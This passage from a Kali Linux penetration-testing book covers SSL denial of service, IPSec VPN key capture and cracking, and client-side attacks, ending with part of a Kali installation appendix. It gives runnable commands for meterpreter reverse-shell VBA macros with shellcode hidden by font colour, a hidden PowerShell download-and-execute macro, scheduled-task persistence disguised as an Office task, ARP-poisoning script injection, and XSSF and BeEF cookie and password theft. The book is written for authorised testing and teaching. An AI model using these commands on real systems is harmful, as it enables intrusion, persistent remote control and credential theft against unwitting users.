To clear the firewall rules, use iptables –t nat –F
(to flush the commands) and iptables –t nat –L
(to verify that the tables have been cleared).
Denial-of-service attacks against SSL
When an SSL connection is established, the server must complete a series of
computationally intense calculations to initiate the handshake and start the
encryption. This involves a small amount of computational effort on the part
of the client and a more significant amount by the server.
If a client initiates an SSL connection but rejects the server's response, the SSL
connection will not be established. However, if the SSL server is configured to
automatically renegotiate the connection, the computational workload will
result in a DoS.
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Kali Linux has several tools that will allow you to determine whether automatic
renegotiation is permitted, including sslyze and tssled.
If the automatic renegotiation is permitted, then entering the following command
will allow a tester to assess the resilience to the DoS attack:
[email protected]:~# thc-ssl- dos <IP address> <port>
The execution of the previous command is shown in the following screenshot:
Attacking an IPSec Virtual Private Network
A virtual private network (VPN), uses the Internet to provide secure (encrypted)
communications between remote locations or users within the same network.
There are two types of VPNs: IPSec and SSL.
IPSec is the most commonly used protocol to establish secure connections between
networks and connect hosts in virtual private networks.
Within IPSec, there are several subsidiary protocols that perform specific functions,
such as the following:
• Authentication Header (AH): This provides proof of origin for IP packets,
protecting them against replay attacks.
• Encapsulation Security Protocol (ESP): This protocol provides the origin
authenticity, integrity, and confidentiality of the transmitted data.
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• Security Association: This is the set of algorithms used to encrypt and
authenticate the transmitted data. Because SA is associated with data
transmission in one direction, two-way communications are secured by
a pair of security associations. Security associations are established using
Internet Security Association and Key Management Protocol (ISAKMP),
which can be implemented by several means. When testing the security of
VPN, one of the most vulnerable configurations relies on pre-shared secrets,
Internet Key Exchange (IKE).
To assess the security of VPN, testers follow these basic steps:
1. Scan for the presence of VPN gateways.
2. Fingerprint the VPN gateway to determine the vendor and
configuration details.
3. Look for vulnerabilities associated with the VPN vendor or
related products.
4. Capture pre-shared keys.
5. Perform offline PSK cracking.
6. Check for the default user accounts.
Scanning for VPN gateways
To scan for the presence of VPN gateways, use nmap or ike-scan. To use nmap,
issue the following command:
[email protected]@:~# nmap -–sU -Pn –p 500 <IP Address>
In this example, -sU instructs nmap to scan the host range for possible targets
using UDP packets (instead of TCP), -Pn ensures that nmap will not send a ping
scan (which can alert the target about the scan and identify the tester), and –p
500 identifies the specific port to be scanned.
The nmap tool does not locate all VPN gateways due to how it handles the IKE
packets; the most effective tool is one that sends a correctly formatted IKE packet
to the target system and displays the returned message.
The best tool to locate a VPN gateway is ike-scan (which can be found by
navigating to Kali Linux | Information Gathering | VPN Analysis). The ikescan command-line tool uses the IKE protocol to discover and fingerprint private
networks. It also supports pre-shared key cracking in the IKE aggressive mode.
To use ike-scan to locate targets, issue the following command:
[email protected]@:~# ike-scan -M <Target IP>
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The execution of the previous command is shown in the following screenshot:
The -M switch returns each payload in a line, simplifying the output.
The ike-scan tool tests various transforms against the target device. A transform
contains a number of attributes: the encryption algorithm (DES and 3DES), the hash
algorithm (MD5 and SHA1), the authentication method (the pre-shared key), the
Diffie-Hellman group (option one is 768 bit and option two is 1024 bit) and the lifetime
(28,800 seconds). It will identify which transforms elicited a successful response.
After completing ike-scan of each identified device, the program will return one of
the following:
• 0 returned handshake; 0 returned notify: This indicates that
the target is not an IPSec gateway
• 0 returned handshake; 1 returned notify: This indicates that
although a VPN gateway is present, none of the transforms provided
to it by ike-scan are acceptable
• 1 returned handshake; 0 returned notify: As shown in the
previous screenshot, this indicates that the target is configured for
IPSec and will perform an IKE negotiation against one or more of
the transforms that have been provided to it
Fingerprinting the VPN gateway
If you can establish a handshake with the VPN gateway, you can conduct the
fingerprinting of the device to return the following information:
• The vendor and model
• The software version
This information is used to identify a vendor-specific attack or fine tune a
generic attack.
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If VPN is hosted by a firewall, the fingerprinting will also
identify the firewall in use.
Because IKE does not guarantee the reliability for transmitted packets, most VPN
gateway vendors use a proprietary protocol to deal with traffic that appears to be
lost. The ike-scan tool sends IKE probe packets to the VPN gateway, but it does
not reply to the response that it receives. The server responds as if the packets have
been lost and implements its backoff strategy to resend the packets. By analyzing
the time difference between the packets and the amount of retries, ike-scan can
fingerprint the vendor.
In the example shown in the following screenshot, the –M option causes each
payload to be shown on a separate line, making the output easier to read. The
-showbackoff option (as shown in the following screenshot) of ike-scan records
the response time of all the packets that were sent and received and then records
the delays for 60 seconds before displaying the results.
In the previous screenshot, the Vendor ID (VID) is an MD5 hash text string that
is specific to the vendor and is used to recognize a proprietary communication or
specific communications details.
The ike-scan tool can also be used to determine whether the gateway supports
the aggressive mode. If it does, it can be difficult to establish the handshake with
the server, because it will not respond until a valid ID is supplied as part of the
identification payload.
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Capturing pre-shared keys
The ike-scan tool can be used to push a VPN gateway into the aggressive
mode. This is significant because the aggressive mode of IPSec does not protect
the pre-shared keys. The authentication credentials are sent as cleartext, which
can be captured and then cracked using offline tools.
The following example, issued against a Cisco VPN concentrator, uses the
following command:
[email protected]@:~# ike-scan --pskcrack --aggressive
--id=peer <target>
The execution of the previous command is shown in the following screenshot:
If you wish to pipe the results to a text file for additional analysis and offline
password cracking, use the following command:
[email protected]@:~# ike-scan --pskcrack --aggressive
--id=peer <target> > <path/psk.txt>
Performing offline PSK cracking
Before cracking the captured hash of the pre-shared key using an offline tool, edit
the output file to include only the hash value (it should contain nine colon-separated
values). The most effective tool to crack the key is psk-crack, which supports the
dictionary, brute force, and hybrid-mode cracking.
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Like all offline cracking exercises, success is a measure of the work and the effort
involved (the time, computational effort, and investment of energy on power systems).
A strong pre-shared key, such as the one shown in the previous screenshot, will take a
long time to crack.
Identifying default user accounts
Like most other hardware devices, VPN gateways usually contain default user
accounts at the time of the installation. These may not be changed by the administrator.
Using the information gathered during the fingerprinting process, a tester can conduct
a web search to identify the standard user accounts.
If the tester has access to a user's computer, the username credential is usually
stored as plaintext in the system registry. Furthermore, if a tester has access to
a system's memory, it is possible to obtain the password directly from the client
system's memory dump.
VulnVPN ( is a virtual operating
system and vulnerable VPN server. It allows you to apply the
tools described in this chapter to compromise the application
and gain root access without damaging a production system.
In this chapter, we examined how to exploit common remote access applications,
including ones that have been encrypted to provide additional security. We
exploited operating system communications protocols (RDP and SSH) and
applications such as VNC. We also learned how to conduct reconnaissance of
secure socket layer connections and virtual private networks and attack types
that reduce the effectiveness of encryption.
In the next chapter, we will see the result of combined attacks against specific
communications channels with attacks against human beings. In examining the
effectiveness of these client-side exploits, we will review several types of attacks
as well as the Browser Exploitation Framework (BeEF) project.
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The greatest challenge for an attacker or an effective penetration tester is to
bypass a target's security controls to achieve a compromise. This can be difficult
when targeting systems located on a network because the attacker usually needs
to bypass firewalls, proxies, intrusion detection systems, and other elements of
a defense-in-depth architecture.
A successful workaround strategy is to directly target the client-side applications.
The user initiates the interaction with the client application, allowing attackers to take
advantage of the existing trust that exists between the user and the application. The
use of social engineering methodologies will enhance the success of client-side attacks.
Client-side attacks target systems that typically lack the security controls (especially,
firewalls and intrusion detection systems) found on enterprise systems. If these attacks
are successful and persistent communication is established, the client device can be
used to launch attacks if it is reattached to the target's network.
By the end of this chapter, you will have learned how to attack client-side
applications using the following:
• Hostile script attacks (VBScript and PowerShell)
• The Cross-Site Scripting Framework
• The Browser Exploitation Framework
Client-side Exploitation
Attacking a system using hostile scripts
Client-side scripts, such as JavaScript, VBScript, and PowerShell, were developed to
move application logic and actions from the server to the client's computer. From an
attacker's or tester's perspective, there are several advantages of using these scripts,
as follows:
• They're already part of the target's natural operating environment; the
attacker does not have to transfer large compilers or other helper files
such as encryption applications to the target system.
• Scripting languages are designed to facilitate computer operations such as
configuration management and system administration. For example, they
can be used to discover and alter system configurations, access the registry,
execute programs, access network services and databases, and move binary
files via HTTP or e-mail. Such standard scripted operations can be readily
adopted for use by testers.
• Because they are native to the operating system environment, they do not
usually trigger antivirus alerts.
• They are easy to use since writing a script requires a simple text editor.
There are no barriers to using scripts in order to launch an attack.
Historically, JavaScript was the scripting language of choice to launch attacks due to its
widespread availability on most target systems. Because JavaScript attacks have been
well characterized, we'll focus on how Kali facilitates attacks using newer scripting
languages: VBScript and PowerShell.
Conducting attacks using VBScript
Visual Basic Scripting Edition (VBScript) is an Active Scripting language
developed by Microsoft. It was designed to be a lightweight, Windows-native
language that could execute small programs. VBScript has been installed by
default on every desktop release of Microsoft Windows since Windows 98,
making it an excellent target for client-side attacks.
To launch an attack using VBScript, we'll invoke Metasploit's msfpayload from
the command line:
[email protected]:~# msfpayload windows/meterpreter/reverse_tcp
LHOST=[Your local Host] LPORT= [Your Local Port] V
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Note that V designates that the output will be a VBS macro script. The output will
appear as a text file with two specific parts, as shown in the following screenshot:
To use the script, open a Microsoft Office document and create a macro (the specific
command will depend on the version of Microsoft Windows in use). Copy the first
part of the text given in the following information box (from Sub Auto_Open() to
the final End Sub) into the macro editor and save it with macros enabled.
Sub Auto_Open()
End Sub
// Additional code removed for clarity
Sub Workbook_Open()
End Sub
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Next, copy the shellcode into the actual document. A partial excerpt of the shellcode
is shown in the following screenshot:
The shellcode is recognizable as a script that may be used to perform an attack,
so you may wish to hide or otherwise obfuscate the shellcode by minimizing the
font size and making the color match the document's background.
The attacker must set up a listener on Metasploit. After entering msfconsole at a
command prompt, the attacker will typically enter the following commands and
set the options for host, port, and payload; in addition, the attacker will configure
the connection to automatically migrate to the more stable explorer.exe process,
as shown in the following command lines.
msf>use exploit/multi/handler
msf>set lhost
msf>set lport 4444
msf>set payload windows/meterpreter/reverse_tcp
msf>set autorunscript migrate -n explorer.exe
msf >exploit
When the file is sent to the target, it will launch a pop-up security warning when it is
opened; therefore, attackers will use social engineering to force the intended victim to
select the Enable option. One of the most common methods to do this is to embed the
macro in a Microsoft Word document or Excel spreadsheet that has been configured
to play a game.
Launching the document will create a reverse TCP shell back to the attacker,
allowing the attacker to ensure a persistent connection with the target and conduct
post-exploit activities.
To extend this attack methodology, we can convert any executable to VBScript using
exe2vba.rb located at /usr/share/metasploit-framework/tools.
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For example, first create a backdoor using the Metasploit framework. Note that
X designates that the backdoor will be created as an executable (attack.exe), as
shown in the following screenshot:
Next, execute exe2.vba to convert the executable to VBScript using the following
command (ensure that correct pathnames are used):
# ruby exe2vba.rb attack.exe
[*] Converted 73802 bytes of EXE into a VBA script
This will allow the executable to be placed in a Microsoft macro-enabled document
and sent to a client. VBScript can be used to execute the reverse shell and to alter the
system registry in order to ensure that the shell remains persistent. We have found
attacks of this type to be one of the most effective ways to bypass network security
controls and maintain a connection to a secured network.
From an attacker's perspective, there are some significant advantages of using
exploits based on VBScript (this continues to be a powerful tool). However, its use
is rapidly being replaced by a more powerful scripting language: PowerShell.
Attacking systems using Windows
Windows PowerShell is a command-line shell and scripting language intended
to be used for system administration. Based on the .NET framework, it extends the
capabilities that were available in VBScript. The language itself is quite extensible.
Since it is built on .NET libraries, you can incorporate code from languages such as
C# or VB.NET. You can also take advantage of third-party libraries. In spite of this
extensibility, it is a concise language. VBScripts that require more than 100 lines of
code can be reduced to as little as 10 lines of PowerShell!
Perhaps, the best feature of PowerShell is that it is available by default on most
modern Windows-based operating systems (Windows 7 and higher versions)
and cannot be removed.
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We will use PowerShell scripts included with the Metasploit Framework to support
the attack phase of the kill chain.
To launch the attack, we will use the PowerShell Payload Web Delivery module
of the Metasploit Framework. The purpose of this module is to rapidly establish
a session on the target system. The attack does not write to the disk, so it is less
likely to trigger detection by the client-side antivirus. Launching of the attack
and the available module options are shown in the following screenshot:
The Metasploit Framework will generate a one-line macro that can be embedded in
a document and used to launch the attack, as shown in the following sample code:
Sub AutoOpen()
Call Shell("PowerShell.exe -w hidden -nop -ep bypass -c ""IEX
End Sub
Before the attack is completed, the attacker must prepare a listener for the incoming
shell (URIPATH was generated randomly by Metasploit; make sure that the correct
URIPATH is set for the listener). The commands to create a listener are as follows:
msf> use exploit/windows/misc/psh_web_delivery
msf exploit(psh_web_delivery) > set SRVHOST
msf exploit(psh_web_delivery) > set URIPATH boom
msf exploit(psh_web_delivery) > exploit
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A successful attack will create an interactive shell on the attacker's system.
It is possible to make psh_web_delivery persistent using the
schtask command. The following command will create a scheduled
task, MSOfficeMngmt, which will implement powershell.exe
(by default, located in the Windows\system32 directory) at logon:
schtasks /create /tn MSOfficeMngmt /tr "powershell.exe
-WindowsStyle hidden -NoLogo -NonInteractive
-ep -bypass -nop -c 'IEX ((new-object
('''''))'" /sc onlogon
/ru System
Additional PowerShell scripts designed to support post-exploit activities can be
found in Kali's PowerSploit directory. In spite of the flexibility of PowerShell, it has
some disadvantages.
For example, if the document containing the macro is closed by the end user before
a persistence mechanism can be applied, the connection is lost.
More importantly, scripts such as VBScript and PowerShell are only useful against
Microsoft environments. To extend the reach of client-side attacks, we need to
look for a common client-side vulnerability that can be exploited regardless of its
operating system environment. One particular example of such a vulnerability is
cross-site scripting.
The Cross-Site Scripting Framework
Cross-Site Scripting (XSS) vulnerabilities are reportedly the most common
exploitable vulnerabilities found in websites. It is estimated that they are
present in up to 80 percent of all applications.
XSS vulnerabilities occur when an application, usually web-based, violates the
concept of trust known as the same-origin policy and displays content that has been
provided by a user that has not been sanitized to remove malicious statements.
There are at least two primary types of XSS vulnerabilities: non-persistent
and persistent.
The most common type is non-persistent or reflected vulnerabilities. These occur when
the data provided by the client is used immediately by the server to display a response.
An attack of this vulnerability can occur via e-mail or a third-party website providing
a URL that appears to reference a trusted website but contains the XSS attack code. If
the trusted site is vulnerable to this particular attack, executing the link can cause the
victim's browser to execute a hostile script that may lead to a compromise.
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Persistent (stored) XSS vulnerabilities occur when the data provided by the attacker
is saved by the server and then is permanently displayed on trusted web pages to
other users during the course of their browsing. This commonly occurs with online
message boards and blogs that allow users to post HTML-formatted messages. An
attacker can place a hostile script on the web page that is not visible to incoming
users, but which compromises visitors who access the affected pages.
Several tools exist on Kali Linux to find XSS vulnerabilities, including xsser and
various vulnerability scanners. However, there are some tools that allow a tester
to fully exploit an XSS vulnerability, demonstrating the gravity of the weakness.
The Cross-Site Scripting Framework (XSSF) is a multiplatform security tool that
exploits XSS vulnerabilities to create a communication channel with the target,
supporting attack modules that include:
• Conducting reconnaissance of a target browser (fingerprinting and previously
visited URLs), the target host (detecting virtual machines, getting system info,
registry keys, and wireless keys), and the internal network.
• Sending an alert message pop up to the target. This simple "attack" can be
used to demonstrate the XSS vulnerability, however, more complex alerts
can mimic logon prompts and capture user authentication credentials.
• Stealing cookies that enable an attacker to impersonate the target.
• Redirecting the target to view a different web page. A hostile web page may
automatically download an exploit onto the target system.
• Loading PDF files or Java applets onto the target, or stealing data such as
SD card contents from Android mobile devices.
• Launching Metasploit attacks, including browser_autopwn, as well as
denial-of-service attacks.
• Launching social engineering attacks, including autocomplete theft,
clickjacking, Clippy, fake flash updates, phishing, and tabnabbing.
In addition, the XSSF Tunnel function allows an attacker to impersonate the victim
and browse websites using their credentials and session. This can be an effective
method to access an internal corporate intranet.
The API is well documented, allowing new attack modules to be easily created.
Because it is written in Ruby, the API integrates with the Metasploit Framework,
allowing attackers to launch additional attacks.
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To use XSSF, it must be installed and configured to support an attack using the
following steps:
1. XSSF does not come with Kali. First, the user must open a terminal window
and set the appropriate directory using the following command:
[email protected]:~# cd /opt/metasploit/apps/pro/msf3
2. Install XSSF using the following command:
svn export ./ --force
Make sure that you use svn export instead of svn checkout, as the latter
command will break the existing MSF svn files. An excerpt of a successful
installation is shown in the following screenshot:
3. From the Metasploit Framework console, load the XSSF plugin using the
load xssf command, as shown in the following screenshot:
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4. Identify the XSSF commands, as shown in the following screenshot, by
typing helpxssf:
5. From the console, access the URLs associated with the plugin using the
following command:
The execution of the previous command is given in the following screenshot,
as you can see, several URLs are identified:
The most important URL is the XSSF server, which is located on the localhost.
Several other URLs are identified, including the following:
Generic XSS injection: This is the target that you are attempting
to get the victim to click on or execute.
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XSSF test page: XSSF provides access to a local test page that is
susceptible to XSS attacks. This can be used to validate attacks and
results before launching the attacks during actual testing.
XSSF Tunnel Proxy: XSSF allows an attacker to surf using the
identity of a compromised host while retaining their security identity.
XSSF logs page: This logs attacks and the information received.
Unfortunately, the log page provides a very dark background, and it
is difficult to see the returned information. During testing, we usually
access log information via the command line, which is cleaner and
can be scripted.
XSSF statistics page.
XSSF help page.
We'll use the vulnerable web application, Mutillidae, to demonstrate that
the XSSF. Mutillidae is part of the Metasploitable project, which can be
downloaded from
files/Metasploitable2/. Refer to Appendix, Installing Kali Linux for notes
on installing this vulnerable target.
6. Once Mutillidae is opened, navigate to the blog page; this page is known
to be vulnerable to XSS (you can use a vulnerability scanning tool against
Mutillidae to identify other potential insertion points).
To launch the attack against the target client, do not enter a regular posting
into the blog. Instead, enter script elements that contain the the target URL
and port:
The following screenshot shows the placement of the attack code on the
target website's blog page.
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When this is entered and the victim clicks on Save Blog Entry, their
system will be compromised. From the Metasploit Framework console,
the tester can get information about each victim using the xssf_victims
and xssf_information commands. On executing the xssf_victims
command, information about each victim is displayed, as shown in the
following screenshot:
The most common XSS attack at this point is to send a brief and relatively innocuous
message or alert to the client. Using the Metasploit Framework, this can be achieved
relatively simply by entering the following commands:
msf > use auxiliary/xssf/public/misc/alert
msf auxiliary(alert) > show options
After reviewing the options, an alert can be rapidly sent from the command line,
as shown in the following screenshot:
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The victim will see a message, as shown in the following screenshot:
Generally, most testers and their clients validate cross-site scripting using such
simple alert messages. These prove that a "vulnerability" exists.
However, simple alerts lack emotional impact. Frequently, they identify a real
vulnerability, but the client does not respond and mediate the vulnerability because
alert messages are not perceived to be a significant threat. Fortunately, XSSF allows
testers to "up the ante" and demonstrate more sophisticated and dangerous attacks.
XSSF can be used to steal cookies by using the following commands:
msf> use auxiliary/xssf/public/misc/cookie
msfauxillary(cookie) > show options
(ensure all needed options selected)
msfauxillary(cookie) > run
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The execution of the run command is shown in the following screenshot:
When the attack has been completed, the cookie can be found by reviewing the results
on the XSSF logs page or directly from the command line using the command, as
shown in the following screenshot:
Some other useful commands in auxiliary/xssf/public/misc include:
• check_connected: This command checks whether the victim has opened
any social networking sites (Gmail, Facebook, or Twitter)
• csrf: It launches a cross-site request forgery attack
• keylogger: This command invokes a keylogger on the client side
• load_applet and load_pdf: These commands load hostile Java applets
and PDF files on the client side and invoke them to launch preconfigured
malicious software
• redirect: It redirects the client to a specified web page
• webcam_capture: This command captures images from the client's webcam
This is an incomplete list, but it shows the extent to which the tool has been
developed. Also, there are some modules for network scanning and launching
a denial-of-service attack, as well as some modules to ensure persistence after
an attack has been completed.
XSSF can also be used with ettercap to compromise an internal network. For
example, ettercap can be used to replace the </head> data with a link to the
malicious page by placing the following code in a filter named attack:
if (ip.proto == TCP && tcp.src == 80) {
if (search(, "</head>")) {
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replace("</head>", "</head><script
src=\"\"></script> ");
The filter script must then be converted into a binary file using the following command:
etterfilter attack.filter –o attack.ef
To launch this attack against all of the users on a network, execute ettercap with the
following command:
ettercap –T –q –F attack.ef –M ARP // //
XSSF, especially when integrated into the Metasploit Framework, is a very powerful
tool for exploiting XSS vulnerabilities. However, a new star has recently emerged
that can help you to achieve similar attacks: the Browser Exploitation Framework.
The Brower Exploitation Framework –
BeEF is an exploitation tool that focuses on a specific client-side application: the
web browser.
BeEF allows an attacker to inject a JavaScript code into a vulnerable HTML code
using an attack such as XSS or SQL injection. This exploit code is known as hook.
A compromise is achieved when the hook is executed by the browser. The browser
(zombie) connects back to the BeEF application, which serves JavaScript commands
or modules to the browser.
BeEF's modules perform tasks such as the following:
• Fingerprinting and the reconnaissance of compromised browsers. It can also
be used as a platform to assess the presence of exploits and their behavior
under different browsers.
Note that BeEF allows us to hook multiple browsers on the same
client, as well as multiple clients across a domain, and then manage
them during the exploitation and post-exploitation phases.
• Fingerprinting the target host, including the presence of virtual machines.
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• Detecting software on the client (Internet Explorer only) and obtaining a
list of the directories in the Program Files and Program Files (x86)
directories. This may identify other applications that can be exploited to
consolidate our hold on the client.
• Taking photos using the compromised system's webcam; these photos have
a significant impact in reports.
• Conducting searches of the victim's data files and stealing data that may
contain authentication credentials (clipboard content and browser cookies)
or other useful information.
• Implementing browser keystroke logging.
• Conducting network reconnaissance using ping sweeps and fingerprint
network appliances and scanning for open ports.
• Launching attacks from the Metasploit Framework.
• Using the tunneling proxy extension to attack the internal network using
the security authority of the compromised web browser.
Because BeEF is written in Ruby, it supports multiple operating systems (Linux,
Windows, and OS X). More importantly, it is easy to customize new modules in
BeEF and extend its functionality.
Installing and configuring the Browser
Exploitation Framework
BeEF is not a part of the Kali distribution, however, it has been packaged with
required dependencies to support automated installation in Kali. To install BeEF, use
the following command:
[email protected]:~# apt-get install beef-xss
BeEF will be installed in the /usr/share/beef-xss directory. By default, it is not
integrated with the Metasploit Framework. To integrate BeEF, you will need to
perform the following steps:
1. Edit the main configuration file located at /usr/share/beef-xss/
config.yaml to read:
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2. Edit the file located at /usr/share/beef-xss/extensions/metasploit/
config.yml. You need to edit the lines host, callback_host, and os
'custom', path to include your IP address and the location for the
Metasploit Framework A correctly edited config.yml file is shown in the
following screenshot:
3. Start msfconsole, and load the msgrpc module, as shown in the following
screenshot. Make sure that you include the password as well:
4. Start BeEF using the following commands:
[email protected]:~# cd /usr/share/beef-xss/
[email protected]:/usr/share/beef-xss/~# ./beef
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5. Confirm startup by reviewing the messages generated during program
launch. They should indicate that Successful connection with Metasploit
occurred, which will be accompanied with an indication that Metasploit
exploits have been loaded. A successful program launch is shown in the
following screenshot:
When you restart BeEF, use the -x switch to reset the database.
In this example, the BeEF server is running on and the "hook URL"
(the one that we want the target to activate) is
Most of the administration and management of BeEF is done via the web interface.
To access the control panel, go to http://<IP Address>:3000/ui/panel.
The default login credentials are Username:beef and Password:beef, as shown in
the following screenshot, unless these were changed in config.yaml.
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A walkthrough of the BeEF browser
When the BeEF control panel is launched, it will present the Getting Started
screen, featuring links to the online site as well as the demonstration pages that
can be used to validate the various attacks. The BeEF control panel is shown in
the following screenshot:
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If you have hooked a victim, the interface will be divided into two panels:
• On the left-hand side of the panel, Hooked Browsers, the tester can see
every connected browser listed with information about its host operating
system, browser type, IP address, and installed plugins. Because BeEF sets a
cookie to identify victims, it can refer back to this information and maintain a
consistent list of victims.
• The right-hand side of the panel is where all of the actions are initiated and
the results are obtained. In the Commands tab, we see a categorized repository
of the different attack vectors that can be used against hooked browsers. This
view will differ based on the type and version of each browser.
BeEF uses a color-coding scheme to characterize the commands on the basis of their
usability against a particular target. The colors used are as follows:
• Green: This indicates that the command module works against the target
and should be detected by the victim
• Orange: This indicates that the command module works against the target,
but it may be detected by the victim
• Gray: This indicates that the command module is not yet verified against
the target
• Red: This indicates that the command module does not work against the
target. It can be used, but its success is not guaranteed, and its use may be
detected by the target
Take these indicators with a grain of salt since variations in the client environment
can make some commands ineffective, or may cause other unintended results.
To start an attack or hook a victim, we need to get the user to click on the hook URL,
which takes the form of <IP ADDRESS>:<PORT>/hook.js. This can be achieved using
a variety of means, including:
• The original XSS vulnerabilities
• Man-in-the-middle attacks (especially, those using BeEF Shank, an ARP
spoofing tool that specifically targets intranet sites on internal networks)
• Social engineering attacks, including the BeEF web cloner and mass e-mailer,
custom hook point with iFrame impersonation, or the QR code generator
Once the browser has been hooked, it is referred to as a zombie. Select the IP address
of the zombie from the Hooked Browsers panel on the left-hand side of the command
interface and then refer to the available commands.
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In this example shown in the following screenshot, there are several different attacks
and management options available for the hooked browser. One of the easiest attack
options to use is the social engineering Clippy attack.
When Clippy is selected from the Module Tree under Commands, a specific Clippy
panel is launched on the far right, as shown in the following screenshot. It allows
you to adjust the image, the text delivered, and the executable that will be launched
locally if the victim clicks on the supplied link. By default, the custom text informs
the victim that their browser is out of date, offers to update it for them, downloads
an executable (non-malicious), and then thanks the user for performing the upgrade.
All of these options can be changed by the tester.
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When Clippy is executed, the victim will see a message as shown in the following
screenshot on their browser:
This can be a very effective social engineering attack. When testing with clients,
we have had success rates (the client downloaded a non-malicious indicator file)
of approximately 70 percent.
The prompt module works in a similar manner. Instead of sending a simple alert
to the victim's browser, it sends a notification request prompting the victim to
enter data. In many cases, if the victim is prompted for undefined data, they will
automatically re-enter their password. The prompt can ask for specific data, or it can
be used to direct the victim to a website to download a system patch that contains
malware. The following screenshot shows one of the simplest, and most effective
attacks for obtaining a user's password.
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One of the more interesting attacks is Pretty Theft, which asks users for their
username and password for popular sites. For example, the Pretty Theft option for
Facebook can be configured by the tester, as shown in the following screenshot:
When the attack is executed, the victim is presented with a pop up that appears to be
legitimate, as shown in the following screenshot:
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In BeEF, the tester reviews the history log for the attack and can derive the username
and password from the data field in the Command results column, as shown in the
following screenshot:
Integrating BeEF and Metasploit attacks
Both BeEF and the Metasploit Framework were developed using Ruby and can
operate together to exploit a target. Because it uses client-side and server-side
fingerprinting to characterize a target, browser_autopwn is one of the most
successful attacks.
Once the target has been hooked, start the Metasploit console and configure the
attack using the following commands:
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST
msf auxiliary(browser_autopwn) > set PAYLOAD_WIN32
msf auxiliary(browser_autopwn) > set PAYLOAD_JAVA
msf auxiliary(browser_autopwn) > exploit
Wait until all of the relevant exploits have finished loading. In the example shown in
the following screenshot, 18 exploits are loaded. Note the target URL for the attack as
well. In this example, the target URL is
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There are several methods to direct a browser to click on a targeted URL, however,
if we have already hooked the target browser, we can use BeEF's redirect function.
In the BeEF control panel, go to Browser | Hooked Domain | Redirect Browser.
When prompted, use this module to point to the target URL and then execute
the attack.
In the Metasploit console, you will see the selected attacks being successively
launched against the target. A successful attack will open a Meterpreter session,
as shown in the following screenshot:
To see the list of open sessions with the compromised target, type sessions -l.
To interactively connect with a specific session, for example, session 1, type
sessions -i 1.
Using BeEF as a tunneling proxy
Tunneling is the process of encapsulating a payload protocol inside a delivery
protocol, such as IP. Using tunneling, you can transmit incompatible protocols
across a network, or you can bypass firewalls that are configured to block a
particular protocol. BeEF can be configured to act as a tunneling proxy that mimics
a reverse HTTP proxy: the browser session becomes the tunnel, and the hooked
browser is the exit point. This configuration is extremely useful when an internal
network has been compromised because the tunneling proxy can be used to:
• Browse authenticated sites in the security context (client-side SSL certificates,
authentication cookies, NTLM hashes, and so on) of the victim's browser
• Spider the hooked domain using the security context of the victim's browser
• Facilitate the use of tools such as SQL injection
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To use the tunneling proxy, select the hooked browser that you wish to target and
right-click on its IP address. In the pop-up box, as shown in the following screenshot,
select the Use as Proxy option:
Configure a browser to use the BeEF tunneling proxy as an HTTP proxy. By default,
the address of the proxy is and port is 6789.
If you visit a targeted website using the browser configured as the HTTP proxy, all
raw request/response pairs will be stored in the BeEF database, which can be
analyzed by navigating to Rider | History (an excerpt of the log is shown in
the following screenshot).
Once an attack has been completed, there are some mechanisms to ensure that a
persistent connection is retained, including:
• Confirm close: A module that presents the victim with a Confirm Navigation
- are you sure you want to leave this page pop up when they try to close
a tab. If the user elects to Leave this Page, it will not be effective, and the
Confirm Navigation pop up will continue to present itself.
• Pop-under module: This is configured to autorun in config.yaml. This
module attempts to open a small pop-under window to keep the browser
hooked if the victim closes the main browser tab. This may be blocked by
pop-up blockers.
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• iFrame keylogger: Rewrites all of the links on a web page to an iFrame
overlay that is 100 percent of the height and width of the original. For
maximum effectiveness, it should be attached to a JavaScript keylogger.
Ideally, you would load the login page of the hooked domain.
• Man-in-the-browser: This module ensures that whenever the victim clicks
on any link, the next page will be hooked as well. The only way to avoid
this behavior is to type a new address in the address bar.
Finally, although BeEF provides an excellent series of modules to perform the
reconnaissance, as well as the exploit and post-exploit phases of the kill chain, the
known default activities of BeEF (/hook.js and server headers) are being used to
detect attacks, reducing its effectiveness. Testers will have to obfuscate their attacks
using techniques such as Base64 encoding, whitespace encoding, randomizing
variables, and removing comments to ensure full effectiveness in the future.
In this chapter, we examined the attacks against systems that are generally isolated
from protected networks. These client-side attacks focus on the vulnerabilities in
specific applications. We reviewed hostile scripts, especially VBScript and PowerShell,
which are particularly useful in testing and compromising Windows-based networks.
We then examined the Cross-Site Scripting Framework, which can compromise XSS
vulnerabilities, as well as the BeEF tool, which targets the vulnerabilities in a web
browser. Both XSSF and BeEF integrate with reconnaissance, exploitation, and
post-exploitation tools on Kali to provide comprehensive attack platforms.
This chapter concludes Mastering Kali Linux for Advanced Penetration Testing.
We hope that this book has helped you to understand how attackers use tools
such as Kali to compromise networks, and how you can use the same tools to
understand your network's vulnerabilities and mediate them before your own
network is compromised.
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Installing Kali Linux
Kali Linux is a Linux-based operating system that acts as a platform to support
several hundred different applications used to audit the security of a network.
Its complexity is matched by the diversity of methods to install and use it during
testing. This chapter will cover some of the considerations to be made when
installing Kali, and will focus on how to get a secure virtual machine up and
running as quickly as possible. It will also examine how to set up and maintain an
inexpensive site to test the material covered in this book.
Downloading Kali Linux
There are multiple options for downloading and installing Kali Linux. At the time
of this publication, the most recent Version is release 1.06; however, Version 1.07 is
due for imminent release. The current version is available from the official website
( in 32- and 64-bit compilations.
Offensive Security has made the preconfigured version of Advanced RISC
Machines (ARM), processors (for example, Galaxy Note 10.1, Raspberry Pi, and
Samsung Chromebooks) available for download; both ARMEL and ARMHL
platforms are supported. In addition, premade VMware images are also available
online at
Installing Kali Linux
After you have downloaded the appropriate image, ensure that the SHA1 checksum
file was generated by Kali (it will be signed using the official Kali encryption key,
which is available online to verify the authenticity of the download), and inspect the
SHA1 checksum to verify the integrity of the image. Verification tools are built into
Linux and OSX operating systems; however, you will have to use a third-party tool
such as hashtab ( for
Windows operating systems.
If you wish to build a custom version of Kali, especially one that features an alternate
desktop or toolset, you can use the live-build scripts available at http://docs.
Basic Installation of Kali Linux
Once you have obtained a suitable distribution of Kali Linux, it must be installed for
use. The following installation options are available:
• Install to an i386, AMD64, or ARM system hard drive. Kali Linux will be the
sole host operating system when the device boots up.
• Dual-boot a system. Usually, this option is selected when using an MS
Windows operating system. During boot-up, the user has the option to boot
the system as Kali Linux or as the Windows operating system. This offers
more flexibility than installing Kali directly to the hard drive; however, it
does make switching back and forth between the two systems difficult.
• Install directly to a DVD drive or a USB device. This is especially useful if
the host system can be configured to boot from the USB device; however,
